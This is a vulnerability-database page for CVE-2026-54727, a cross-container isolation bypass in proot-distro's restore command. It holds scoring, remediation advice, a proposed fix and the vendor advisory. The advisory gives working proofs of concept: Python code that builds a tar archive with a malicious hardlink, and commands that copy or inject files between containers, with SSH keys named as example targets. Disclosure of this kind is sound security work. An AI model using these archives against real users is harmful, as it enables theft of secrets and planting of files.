Skip to main content

proot-distro EUVDEUVD-2026-50415

| CVE-2026-54727 HIGH
Exposure of Resource to Wrong Sphere (CWE-668)
2026-07-29 https://github.com/termux/proot-distro GHSA-7h3g-4w2f-fj2f
8.2
CVSS 3.1 · Vendor: https://github.com/termux/proot-distro
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious backup tar with cross-container hardlink
  2. Delivery
    Deliver archive to victim via social engineering
  3. Exploit
    Victim runs proot-distro restore
  4. Execution
    Restore resolves linkname to foreign container
  5. Persist
    Copy file across container boundary
  6. Impact
    Read stolen secret or inject file

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Resource sphere isolation
MITRE ATT&CK

1 technique across 1 tactic: Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to run 'proot-distro restore' on an attacker-supplied backup archive (UI:R - a deliberate restore action), and requires at least two installed containers so that a source and destination container both exist under the proot-distro containers directory. The malicious archive must contain a hardlink (tar LNKTYPE) entry whose linkname resolves to a path inside a different container's rootfs than the one being restored; the crafted linkname (e.g. 'victim/rootfs/root/proof.txt') is the exact prerequisite. Limiting factors: no code execution or device root is gained (impact is confined to reading/writing files within the proot-distro containers directory, not host escape), the attack does not work against a user who only ever restores self-created single-container backups, and it is bounded to environments with multiple proot-distro containers on the same device.

Impact

The assigned CVSS 3.1 vector (AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N, 8.2 High) is internally consistent with the description: local attack surface (host-side CLI processing a file), low complexity, no attacker privileges needed on the device, but mandatory user interaction (the victim must choose to restore the archive), a changed scope (impact crosses the container isolation boundary), and high confidentiality and integrity impact with no availability impact. No EPSS score, KEV entry, or SSVC decision was provided. The realistic risk is gated by social engineering - the attacker must deliver a malicious backup and persuade the user to restore it - and by the victim having more than one container installed, so this is a targeted rather than mass-exploitable issue despite the High score. Fully working PoCs are public in the vendor advisory, which raises practical exploitability, but absence of KEV/EPSS data means widespread automated exploitation cannot be assessed from the inputs.

Exploit ScenarioDerived

An attacker publishes a 'ready-made Alpine backup' or sends a victim a crafted proot-distro backup .tar containing a hardlink whose linkname points at victim/rootfs/root/.ssh/id_ed25519 while the entry writes into the attacker's container; when the victim runs 'proot-distro restore malicious.tar', the private key is copied into the attacker-readable container for later exfiltration. The same technique in reverse injects attacker-controlled files (e.g. authorized_keys or a poisoned config) into a victim container. Working proof-of-concept archives for both disclosure and injection are published in the vendor advisory, and the low-complexity local vector means exploitation succeeds as soon as the user is convinced to perform the restore.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 29, 2026

Cross-container isolation bypass in proot-distro 5.1.5 and earlier (Termux) lets a crafted backup archive read and write files across otherwise isolated containers when a victim runs 'proot-distro restore'. Because the restore logic trusts the archive's hardlink 'linkname' to name the source container without verifying it matches the container being restored, an attacker who convinces a user to restore a malicious .tar can exfiltrate secrets (SSH keys, API credentials, databases) from one container into an attacker-controlled one, or inject attacker data into a different container. Publicly available exploit code exists (full PoCs are embedded in the GHSA advisory); no public active exploitation is known.

RemediationAI

Vendor-released patch: 5.1.6 - upgrade proot-distro to 5.1.6 or later (release https://github.com/termux/proot-distro/releases/tag/v5.1.6; fix commit https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716), which enforces that a restore archive may contain only a single container and rejects any hardlink linkname resolving to a different container. Until upgraded, do not restore backup archives from untrusted or unverified sources, and only restore archives you created yourself; treat a supplied .tar the way you would treat untrusted code. As a stronger compensating control, inspect the archive before restoring (for example 'tar tvf archive.tar') and reject it if any member path or hardlink linkname references a container name other than the one you intend to restore - the trade-off is manual effort and that hand inspection of hardlink targets is error-prone. Reducing the number of simultaneously installed containers also limits what a malicious restore can reach, at the cost of convenience.

Affected VersionsENISA

proot-distro < 5.1.6

Affected Packages

pypi proot-distro fix: 5.1.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

proot-distro is a Termux CLI tool that installs and manages multiple userspace Linux distributions ('containers') under $PREFIX/var/lib/proot-distro/containers/ on Android, using PRoot for unprivileged chroot-like isolation. The flaw is in the 'restore' command's tar extraction path, specifically hardlink (LNKTYPE) handling: _dest_path()/_safe_dest() resolve the hardlink source from the archive-supplied linkname and correctly keep it inside the top-level containers directory, but never assert that the source container equals the destination container being restored. This is a classic CWE-668 (Exposure of Resource to Wrong Sphere) issue - archive-controlled metadata selects which security sphere (container) a file is read from or written to, so path-traversal defenses that only enforce a directory prefix are insufficient once multiple sibling containers share that prefix. The affected package is pkg:pip/proot-distro (Python).

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/termux/proot-distro) PRIMARY 8.2 HIGH
AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 8.2 HIGH

Local file-processing surface (AV:L), no attacker privileges but victim must restore the archive (PR:N/UI:R), impact crosses the container isolation boundary (S:C) with high read and write but no availability loss.

3.1 AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (https://github.com/termux/proot-distro).

CVSS VectorVendor: https://github.com/termux/proot-distro

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Affected Component

  • Package: proot-distro
  • Affected command: restore
  • Attack surface: Host-side Termux CLI processing a user-supplied backup archive
  • Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write

---

Affected Versions

ComponentVersion
proot-distro5.1.5 (confirmed affected)
Test distroAlpine Linux
Architectureaarch64
DeviceSamsung Galaxy A23
Package sourcehttps://packages-cf.termux.dev/apt/termux-main stable/main aarch64

---

Summary

When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.

The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.

Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.

As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.

---

Proof of Concept #1 - Cross-Container File Disclosure

All testing was performed using self-owned containers and harmless marker data only.

Step 1 - Create a victim container and marker file

bash
proot-distro install alpine --name victim

proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'

Verification:

proot-distro login victim -- cat /root/proof.txt

PROOF-12345

---

Step 2 - Create an attacker container

bash
proot-distro install alpine --name attacker

---

Step 3 - Build a crafted archive

python
python3 -c '
import tarfile

tf = tarfile.open("malicious.tar", "w")

d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)

tf.close()
'

---

Step 4 - Restore the crafted archive

bash
proot-distro restore ./malicious.tar

---

Step 5 - Read the copied file from the attacker container

bash
proot-distro run attacker -- cat /exfil/stolen_key

Observed output:

PROOF-12345

This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.

---

Proof of Concept #2 - Cross-Container File Injection

Step 1 - Create attacker-controlled source data

bash
proot-distro install alpine --name attacker

proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'

---

Step 2 - Create a victim container

bash
proot-distro install alpine --name victim

---

Step 3 - Build a crafted archive

python
python3 -c '
import tarfile

tf = tarfile.open("write_test.tar", "w")

h = tarfile.TarInfo(
    "victim/rootfs/root/copied_from_attacker.txt"
)

h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600

tf.addfile(h)
tf.close()
'

---

Step 4 - Restore the crafted archive

bash
proot-distro restore ./write_test.tar

---

Step 5 - Verify file injection into the victim container

bash
cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"

Observed output:

ATTACKER_DATA

This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.

---

Impact

An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.

Observed impacts include:

  • Disclosure of files from other installed containers.
  • Injection of attacker-controlled files into other installed containers.
  • Exposure of SSH private keys.
  • Exposure of API credentials.
  • Exposure of configuration files containing secrets.
  • Exposure of application databases stored inside container rootfs directories.

The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.

---

Root Cause

During hardlink processing, the restore implementation resolves the source container from the archive's linkname field.

The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.

As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.

---

Proposed Fix

python
link_container, link_src = _dest_path(member.linkname)

if link_src is None:
    continue

if link_container != container_name:
    continue

link_src = _safe_dest(
    link_container,
    link_src,
    follow_final=True
)

This preserves existing path traversal protections while restoring the expected isolation boundary between containers.

---

Additional Notes

  • Issue reproduced on the official Termux package repository.
  • No root access was used.
  • No third-party data was accessed.
  • Testing used only self-owned containers and harmless marker data.
  • Cross-container disclosure reproduced using the marker value PROOF-12345.
  • Cross-container file injection reproduced using the marker value ATTACKER_DATA.

Executive ViewAI

Why It Matters

proot-distro 5.1.5 and earlier (Termux container manager) contains a cross-container isolation bypass that allows attackers to exfiltrate secrets (SSH keys, API credentials, database access) from isolated development environments through malicious backup archives. Organizations employing Termux for development, testing, or secure workspaces face material risk of credential theft without immediate patching.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 98% exploitable
Prevalence
Low
niche Termux/Android tool for running Linux distros, limited enterprise footprint
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

61
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy